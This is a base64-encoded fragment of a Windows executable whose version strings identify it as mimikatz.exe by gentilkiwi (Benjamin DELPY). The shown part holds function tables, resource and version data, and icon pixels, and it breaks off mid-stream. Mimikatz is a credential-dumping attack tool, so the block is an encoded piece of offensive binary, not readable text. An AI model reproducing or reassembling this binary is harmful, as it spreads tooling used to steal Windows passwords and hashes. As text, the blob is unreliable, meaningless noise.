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qAGEAbQBpAG4AIABEAEUATABQAFkAKQAAAEIADQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABtAGkAbQBpAGsAYQB0AHoALgBlAHgAZQAAAAAAWgAdAAEAUAByAGkAdgBhAHQAZQBCAHUAaQBsAGQAAABCAHUAaQBsAGQAIAB3AGkAdABoACAAbABvAHYAZQAgAGYAbwByACAAUABPAEMAIABvAG4AbAB5AAAAAAA8AA4AAQBTAHAAZQBjAGkAYQBsAEIAdQBpAGwAZAAAAGsAaQB3AGkAIABmAGwAYQB2AG8AcgAgACEAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAACQSwBCgAAAAwAAAAYAAAAAEAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVP2IACgUBAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwAWQmcACgYDAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwAJAwAACwoJAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsCCwsLBAsLCwkLCwsOCwsLEwsLCxcLCwsaCwsLFwsLCxMLCwsNCwsLBQsLCwILCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACws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